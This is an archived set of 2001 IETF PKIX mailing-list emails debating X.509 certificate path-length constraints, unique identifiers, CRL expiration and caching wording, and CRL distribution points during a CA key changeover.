How about a CA key signing OCSP responses?  Or CRLs, for that matter.  Either
are non-certificate "messages".

		Marc


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA08930 for <[e-mail]>; Thu, 1 Mar 2001 09:27:25 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Thu, 01 Mar 2001 10:26:54 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.5
Date: Thu, 01 Mar 2001 10:26:47 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id JAA08932

I would agree with David, that using the same key or certificate
for both correspondence and certificate issuance would be
extremely improbable.

However, it is not nearly so clear that a CA might choose to use the 
same key for certificate signing and for signing its CPS, for
example, so it would appear that his scenario is worth considering.

Bob


>>> David Kemp <[e-mail]> 03/01/01 09:58AM >>>

> Date: Wed, 28 Feb 2001 13:28:46 -0500
> From: Steve Hanna <[e-mail]>
> X-Accept-Language: en
> To: "David P. Kemp" <[e-mail]>
> CC: [e-mail] 
> Subject: Re: Open Issue in Part1: path length constraints
> 
> "David P. Kemp" wrote:
> > > From: Steve Hanna <[e-mail]>
> > > I find it odd to say that a certificate with cA=TRUE is a CA certificate
> > > *unless* it is the last certificate in a path. I suppose this is only a
> > > wording problem, but I find this wording *less* clear than the old
> > > wording.
> > 
> > The oddness arises because you are applying the label "CA certificate"
> > to the certificate based on its contents instead of its usage.
> > 
> > If a certificate contains cA=TRUE and
> > keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
> > than one purpose.  It is a CA certificate when validating the signature
> > of a certificate, and it is an EE certificate when validating the
> > signature of a CRL or a message.  (A CA should not use a cert-signing
> > private key to sign correspondence, but X.509 doesn't prohibit unhygenic
> > practices.)
> 
> So you're saying that a certificate with cA=TRUE is an end-entity
> certificate when it appears at the end of a certificate chain and a CA
> certificate otherwise? The same certificate is both a CA certificate and
> an end-entity certificate? This seems to be contrary to the way these
> terms have been used in the past and the way they are used in X.509, RFC
> 2459, new-part1, and throughout the industry.


Steve,

Yes, that's what I'm saying.  If "you" are a CA, and you use the same
private key to sign certificates and to sign email, and you are the
subject of a certificate which has both keyCertSign and digitalSignature
key usage bits, then what kind of certificate is it?

My answer is that it is both.  What is your answer?

Using the same cert for correspondence signatures and certificate
signatures is probably so risky that such certs are not routinely used.
But this discussion is about using the same cert for signing certificates
and for signing CRLs, which is probably standard industry practice.
When validating the signature on a CRL, is the CA's certificate a
CA certificate or an End-Entity certificate?

My answer is that it is the certificate of an entity which has signed
a CRL.  What is your answer?



> I suggest the following:
> 
>    In this case, it gives the maximum number of intermediate CA
>    certificates that may follow this certificate in a certification
>    path. (Note: One final certificate will follow the final intermediate
>    CA certificate in the path. This certificate may be either a CA
>    certificate or an end-entity certificate.) A pathLenConstraint of
>    zero indicates that no intermediate CA certificates may follow in the
>    path. Where it appears, the pathLenConstraint field MUST be greater
>    than or equal to zero. Where pathLenConstraint does not appear, there
>    is no limit to the allowed length of the certification path.

This doesn't answer the question of what to call the final certificate
in the path when that certificate has cA=TRUE and the signature being
verified is that of a CRL or a message.  Which is OK, since it doesn't
make a bit o' difference what you call it as long as it isn't counted in
pathLenConstraint.

The suggestion is OK with me, but it is no less plausible to
call (2) an "end-entity certificate" than it is to call (1) an
"intermediate CA certificate".  (1) is the last CA certificate
in the path, but if you want to call it an intermediate CA, fine.


     [anchor]  --> [CA-a]  --> [CA-b]  --> [Joe User] --> [message]
                                 (1)


     [anchor]  --> [CA-a]  --> [CA-b]  --> [message]
                                 (2)
                                 
Dave



Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by above.proper.com (8.9.3/8.9.3) with SMTP id JAA08358 for <[e-mail]>; Thu, 1 Mar 2001 09:22:02 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Thu, 01 Mar 2001 10:21:23 -0700
Message-Id: <[e-mail]>
X-Mailer: Novell GroupWise 5.5.5
Date: Thu, 01 Mar 2001 10:21:19 -0700
From: "Bob Jueneman" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: Re: UIDs popping up in new-part1
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=_4A11E303.8BEADE7E"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_4A11E303.8BEADE7E
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

I strongly disagree that "nobody uses unique identifiers" or that
"there's no good reason to retain support of them."  And I even=20
more strongly reject the notion that just because it is alleged that no =
one=20
uses them, applications SHOULD reject certificates which disprove=20
the allegation!

I don't want to go into too much detail regarding a usage that would
be proprietary in any case, but we are considering the use of unique
IDs in order to facilitate finding and retrieving the appropriate keys =
in=20
a network-wide context, where the consuming application, the=20
encrypted data (if applicable), and the server on which the key
is stored (in encrypted form) may all be separate, and may tend to=20
migrate apart in a more or less unconstrained fashion.  We observe that
servers are often split due to increased workload, or perhaps merged=20
as servers are replaced with more powerful models, directory information,
including encrypted information is often replicated to other servers, =
but=20
not all servers may have access to the encryption keys (perhaps they=20
are stored on a smart card which is unique to only one server), and=20
 less-often accessed data is frequently migrated to archival media.

These can often be extremely complex issues, sometimes involving
terabytes of information.  The data may be essential to the operation,=20
or it may be important business records that must be preserved for legal
reasons, but are not all that often accessed.  Perhaps the data itself
is migrated to an off-site backup facility, but the key is retained in a =
smart
card.

In any case, the use of unique ID that may include some useful information
as to where the was generated or resides can be extremely helpful, and
yet can be dealt with using a standardized mechanisms that is quite =
compact.

Regards,

Bob


>
>>>> Steve Hanna <[e-mail]> 02/28/01 03:25PM >>>
>Last fall, we agreed to remove issuer and subject unique identifier
>comparison from the validation algorithm. At least, I think we did. The
>argument was that nobody uses unique identifiers and there's no good
>reason to retain support for them.
>
>In draft-ietf-pkix-new-part1-04.txt, this has almost been done. However,
>they remain in step (a) (5) of section 6.1.3, which says:
>
>         (5) The certificate issuer unique identifier is the
>         working_issuer_UID, meaning:
>
>            (i) working_issuer_UID is non-null and matches the value in
>            the issuerUID field, or
>
>            (ii) working_issuer_UID is null and the issuerUID field is
>            not present.
>
>But working_issuer_UID is no longer set anywhere. We should either put
>back the text that initializes and updates this state variable or we
>should change this step so that it doesn't refer to this uninitialized
>varible. I suggest that we remove support for unique identifier chaining
>by changing this step to say:
>
>         (5) The issuerUniqueID and subjectUniqueID fields are not
>         present in the certificate.
>
>This will ensure that compliant implementations will not accidentally
>accept certificates that use these fields, since support for these
>fields is no longer required. I also suggest that we change the sentence
>in section 4.1.2.8 that reads "Applications conforming to this profile
>SHOULD be capable of parsing unique identifiers and making
>comparisons."  to read "Applications conforming to this profile SHOULD
>reject certificates that contain unique identifiers."
>
>-Steve


Robert R. Jueneman
Security Architect

Novell, Inc -- the leading provider of Net services software




--=_4A11E303.8BEADE7E
Content-Type: text/x-vcard
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Bob Jueneman.vcf"

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpYLUdXVFlQRTpVU0VSDQpGTjpCb2IgSnVlbmVtYW4N
ClRFTDtXT1JLOjAxLTgwMS84NjEtNzM4Nw0KT1JHOk5vdmVsbCBJbmMuIC0tIHRoZSBsZWFkaW5n
IHByb3ZpZGVyIG9mIE5ldCBzZXJ2aWNlcyBzb2Z0d2FyZTtEUyBlQnVzaW5lc3MgU29sdXRpb25z
DQpURUw7UFJFRjtGQVg6MDEtODAxLzg2MS0yNTIyDQpFTUFJTDtXT1JLO1BSRUY7TkdXOkJKVUVO
RU1BTkBub3ZlbGwuY29tDQpOOkp1ZW5lbWFuO0JvYg0KVElUTEU6Q29uc3VsdGFudCBFbmdpbmVl
cg0KQURSO0lOVEw7V09SSztQQVJDRUw7UE9TVEFMOjs7Tm92ZWxsLCBJbmMuXG4xODAwIFNvdXRo
IE5vdmVsbCBQbGFjZVxuO1Byb3ZvO1V0YWg7ODQ2MDY7VVNBDQpMQUJFTDtJTlRMO1dPUks7UEFS
Q0VMO1BPU1RBTDtFTkNPRElORz1RVU9URUQtUFJJTlRBQkxFOkJvYiBKdWVuZW1hbj0wQT0NCk5v
dmVsbCwgSW5jLj0wQT0NCjE4MDAgU291dGggTm92ZWxsIFBsYWNlPTBBPQ0KPTBBPQ0KUHJvdm8s
IFV0YWggIDg0NjA2PTBBPQ0KVVNBDQpMQUJFTDtET007V09SSztQQVJDRUw7UE9TVEFMO0VOQ09E
SU5HPVFVT1RFRC1QUklOVEFCTEU6Qm9iIEp1ZW5lbWFuPTBBPQ0KTm92ZWxsLCBJbmMuPTBBPQ0K
MTgwMCBTb3V0aCBOb3ZlbGwgUGxhY2U9MEE9DQo9MEE9DQpQcm92bywgVXRhaCAgODQ2MDYNClgt
R1dVU0VSSUQ6QkpVRU5FTUFODQpFTkQ6VkNBUkQNCg0KQkVHSU46VkNBUkQNClZFUlNJT046Mi4x
DQpYLUdXVFlQRTpVU0VSDQpGTjpSb2JlcnQgUi4gSnVlbmVtYW4NClRFTDtXT1JLOjAxLTgwMS84
NjEtNzM4Nw0KT1JHOk5vdmVsbCwgSW5jLjtEUyBlQnVzaW5lc3MgU29sdXRpb25zDQpURUw7UFJF
RjtGQVg6MDEtODAxLzg2MS0yNTIyDQpFTUFJTDtXT1JLO1BSRUY7TkdXOkJKVUVORU1BTkBub3Zl
bGwuY29tDQpOOkp1ZW5lbWFuO0JvYg0KVElUTEU6Q29uc3VsdGFudCBFbmdpbmVlcg0KQURSO0lO
VEw7V09SSztQQVJDRUw7UE9TVEFMOjtQUlYtRjMzMTsxMjIgRS4gMTcwMCBTb3V0aDtQcm92bztV
dGFoOzg0NjA2O1VTQQ0KTEFCRUw7SU5UTDtXT1JLO1BBUkNFTDtQT1NUQUw7RU5DT0RJTkc9UVVP
VEVELVBSSU5UQUJMRTpSb2JlcnQgUi4gSnVlbmVtYW49MEE9DQpQUlYtRjMzMT0wQT0NCjEyMiBF
LiAxNzAwIFNvdXRoPTBBPQ0KUHJvdm8sIFV0YWggIDg0NjA2PTBBPQ0KVVNBDQpMQUJFTDtET007
V09SSztQQVJDRUw7UE9TVEFMO0VOQ09ESU5HPVFVT1RFRC1QUklOVEFCTEU6Um9iZXJ0IFIuIEp1
ZW5lbWFuPTBBPQ0KUFJWLUYzMzE9MEE9DQoxMjIgRS4gMTcwMCBTb3V0aD0wQT0NClByb3ZvLCBV
dGFoICA4NDYwNg0KVEVMO0hPTUU6MS04MDEtNzY1LTQzNzgNClRFTDtDRUxMOjEtODAxLTM2MS0x
NDEwDQpURUw7UFJFRjoxLTgwMS04NjEtNzM4NywgMS04MDAtNDUzLTEyNjcNClgtR1dVU0VSSUQ6
QkpVRU5FTUFODQpFTkQ6VkNBUkQNCg0K

--=_4A11E303.8BEADE7E--


Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA06903 for <[e-mail]>; Thu, 1 Mar 2001 08:58:37 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id LAA17801 for <[e-mail]>; Thu, 1 Mar 2001 11:58:09 -0500 (EST)
Message-Id: <[e-mail]>
Date: Thu, 1 Mar 2001 11:58:00 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: /ystojI70rJUEsipyoz2LQ==

> Date: Wed, 28 Feb 2001 13:28:46 -0500
> From: Steve Hanna <[e-mail]>
> X-Accept-Language: en
> To: "David P. Kemp" <[e-mail]>
> CC: [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> "David P. Kemp" wrote:
> > > From: Steve Hanna <[e-mail]>
> > > I find it odd to say that a certificate with cA=TRUE is a CA certificate
> > > *unless* it is the last certificate in a path. I suppose this is only a
> > > wording problem, but I find this wording *less* clear than the old
> > > wording.
> > 
> > The oddness arises because you are applying the label "CA certificate"
> > to the certificate based on its contents instead of its usage.
> > 
> > If a certificate contains cA=TRUE and
> > keyCertSign=cRLSign=digitalSignature=1, then it can be used for more
> > than one purpose.  It is a CA certificate when validating the signature
> > of a certificate, and it is an EE certificate when validating the
> > signature of a CRL or a message.  (A CA should not use a cert-signing
> > private key to sign correspondence, but X.509 doesn't prohibit unhygenic
> > practices.)
> 
> So you're saying that a certificate with cA=TRUE is an end-entity
> certificate when it appears at the end of a certificate chain and a CA
> certificate otherwise? The same certificate is both a CA certificate and
> an end-entity certificate? This seems to be contrary to the way these
> terms have been used in the past and the way they are used in X.509, RFC
> 2459, new-part1, and throughout the industry.


Steve,

Yes, that's what I'm saying.  If "you" are a CA, and you use the same
private key to sign certificates and to sign email, and you are the
subject of a certificate which has both keyCertSign and digitalSignature
key usage bits, then what kind of certificate is it?

My answer is that it is both.  What is your answer?

Using the same cert for correspondence signatures and certificate
signatures is probably so risky that such certs are not routinely used.
But this discussion is about using the same cert for signing certificates
and for signing CRLs, which is probably standard industry practice.
When validating the signature on a CRL, is the CA's certificate a
CA certificate or an End-Entity certificate?

My answer is that it is the certificate of an entity which has signed
a CRL.  What is your answer?



> I suggest the following:
> 
>    In this case, it gives the maximum number of intermediate CA
>    certificates that may follow this certificate in a certification
>    path. (Note: One final certificate will follow the final intermediate
>    CA certificate in the path. This certificate may be either a CA
>    certificate or an end-entity certificate.) A pathLenConstraint of
>    zero indicates that no intermediate CA certificates may follow in the
>    path. Where it appears, the pathLenConstraint field MUST be greater
>    than or equal to zero. Where pathLenConstraint does not appear, there
>    is no limit to the allowed length of the certification path.

This doesn't answer the question of what to call the final certificate
in the path when that certificate has cA=TRUE and the signature being
verified is that of a CRL or a message.  Which is OK, since it doesn't
make a bit o' difference what you call it as long as it isn't counted in
pathLenConstraint.

The suggestion is OK with me, but it is no less plausible to
call (2) an "end-entity certificate" than it is to call (1) an
"intermediate CA certificate".  (1) is the last CA certificate
in the path, but if you want to call it an intermediate CA, fine.


     [anchor]  --> [CA-a]  --> [CA-b]  --> [Joe User] --> [message]
                                 (1)


     [anchor]  --> [CA-a]  --> [CA-b]  --> [message]
                                 (2)
                                 
Dave



Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA00969 for <[e-mail]>; Thu, 1 Mar 2001 07:44:43 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id KAA23153 for <[e-mail]>; Thu, 1 Mar 2001 10:44:14 -0500 (EST)
Message-Id: <[e-mail]>
Date: Thu, 1 Mar 2001 10:44:05 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: RE: Part1 last call comments
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: kIvjC2059j24bj9lQaRcEw==

Hi Jim,

Thanks for pointing out that I misread your proposal, focusing on
the "expires" instead of the "all CRLs".

As long as there is a statement in 2459bis that CRL expiration is a
matter of local policy, and applications MUST make provision for the
fact that the next CRL will not be available precisely at nextUpdate,
then I don't have a problem with your original proposal "until all
existing CRLs expire."  A more precise wording might be "until the
application considers all existing CRLs to have expired", but that
would be redundant if 2459bis contains an unambiguous statement that
different applications *will* have different caching policies (different
definitions of "CRL expiration").

Section 3.3 says: "If a revocation is reported now, that revocation
will not be reliably notified to certificate-using systems until the
next periodic CRL is issued".  In the case where more than one CRL is
in scope for a particular certificate (for example a deltaCRL series
and a less-frequently-issued full CRL series, or overlapping partitions
with different dates), it is again a local application policy whether
to consider its local cache valid until the most fresh source has an
update, until the least fresh source has an update, or even beyond the
point where all sources have had an update (treat a CRL as valid for 24
hours even though a new one was issued after 12 hours).

So "until the next periodic CRL is issued" is correct for applications
which start trying to update their cache at nextUpdate of the freshest
in-scope CLR series.  "...until all currently issued CRLs pass their
next update" is correct for applications which start trying to update
their cache only when the last (least fresh) in-scope CRL passes
nextUpdate.  Note that neither of these statements is correct if CAs
populate nextUpdate with an inaccurate value.

If all applications were configured to require the absolute latest info
(i.e. no application used a CRL cache), then revocation will be
reliably notified even before the next periodic CRL (i.e. if you cache
CRLs exactly as you cache OCSP responses and the CA issues unscheduled
CRLs on revocation events, you will get revocation info from CRLs as
fresh as you would get it from OCSP).

And if some applications are configured to cache CRLs for 24 hours
and the CA issues them every 12 hours, then revocation won't be
reliably notified even after the next periodic CRL is issued.

So the statement in 3.3 doesn't mean much: certificate-using systems
will be reliably notified sooner than, exactly when, or later than
the next periodic in-scope CRL depending on the specific certificate-using
system's caching policy.  PKIX can't require all applications to use
the same caching policy; the freshness/bandwidth/response-time/availability
tradeoffs are different for different certificate-using applications.

In summary, I no longer disagree with what you originally proposed, but
I don't agree with it either, since neither the current wording nor the
proposed change is generally true but each is sometimes true.  Any
statement regarding "reliably notified" must be made within the context
of a specific CRL caching policy.  My goal is to nail down one piece of
jello in this revocation picture:  PKIX CAs MUST populate nextUpdate
with the true time of the next scheduled CRL, and applications have to
handle the propogation/caching/reliance issues.

Regards,
Dave



> > > 4. Section 3.3 - Minor point,  in paragraph 4 - This should be "until
> > > all existing CRLs expires" rather than "until the next periodic CRL
> > > update".  A CRL may be valid for more than one issue period (i.e. issue
> > > every 12 hours, expire after 24 hours).
> >
> > Jim,
> >
> > I disagree with this proposed change.  CRLs do not expire, they only
> > have a next scheduled update date.  As section 3.3 paragraph 3 says,
> > "the meaning of 'suitably-recent' may vary with local policy", and
> > if one local policy says that CRLs which are issued every 12 hours
> > don't expire until 24 hours after issue, fine.  A different local
> > policy, however, might say that the identical CRL expires 13 hours
> > after issue.
> >
> 
> Dave,
> 
> Would the text "until all currently issued CRLs pass their nextUpdate." be
> acceptable to you?  I merely want to reflect that there may be multiple
> valid CRLs in existence, and until all of them have passed their nextUpdate
> time a cached CRL can validly be expected to be used.
> 
> jim




Received: from server.ica.cz (server.ica.cz [195.47.13.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA16387 for <[e-mail]>; Thu, 1 Mar 2001 05:14:45 -0800 (PST)
Received: from SZOTKOWSKI (com.ica.cz [195.47.13.10]) by server.ica.cz (8.9.2/8.8.7) with SMTP id OAA30178 for <[e-mail]>; Thu, 1 Mar 2001 14:14:31 +0100 (CET)
Message-ID: <09f401c0a251$8d86db50$[e-mail]>
From: "Martin Szotkowski" <[e-mail]>
To: <[e-mail]>
Subject: Problem with certificate validation with CRL?
Date: Thu, 1 Mar 2001 14:14:30 +0100
Organization: PVT, a.s.
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi all,
we have two root CA keys:
1. CA1 with subject S1, issue certificates C1x and CRL1x from time T1 to T2
(validity of CA1 is from T1 to T3)
2. CA2 with subject S2 (issue C2x and CRL2x) from time T2 to T4 (validity of
CA2 is from T2 to T5)
T1 < T2 < T3 < T4 < T5
S1 != S2
T3 - T2 >= maximum validity of C1x (every issued C1x is always valid in all
validity time of CA1)

**** in time T1-T2 ****
C1x and CRL1x are issued (with CA1)
C1x have CRL Distribution Point CDP1
-- all is OK

**** in T2-T3 ****
C2x and CRL2x are issued (with CA2)
C2x have CDP2
CA1 doesn't issue CRL1x (see below idea 1.)
C2x is OK
-- *but* some C1x are still valid but CDP1 is pointing to *last* CRL1x !?

How can we resolve this problem?

My ideas are these, but I don't know which one is the best / conformable to
RFC

in time T2-T3
1. issue CRL1x with CA1 and CRL2x with CA2
 -- but for this I must issue two CRLs and must keep CA1 private key! - this
is for us unworkable
 -- In our policy is that private key is after T2 destroyed. New CA2 key is
on HW generated.
2. CDP1 == CDP2
  -- this we use, but when is checked validity C1x with CRL2x Internet
Explorer faild! (issuer for C1x and CRL2x is different!) I think, that IE is
right!
  - maybe we need put into C1x CDP1 cRLIssuer and into CRL2x too. But how do
it? (CDP1 must be then different to CDP2). Help this in IE? Is it
implemented in other applications?
3. don't put CDP into all certificates
 -- (:-<)
4. set S1 ==  S2
 -- Does this help us? Will this work; two CAcerts with same subject and
different keys in one CA?
5. some other way

thanks for all advices

Martin
(excuse my easy English)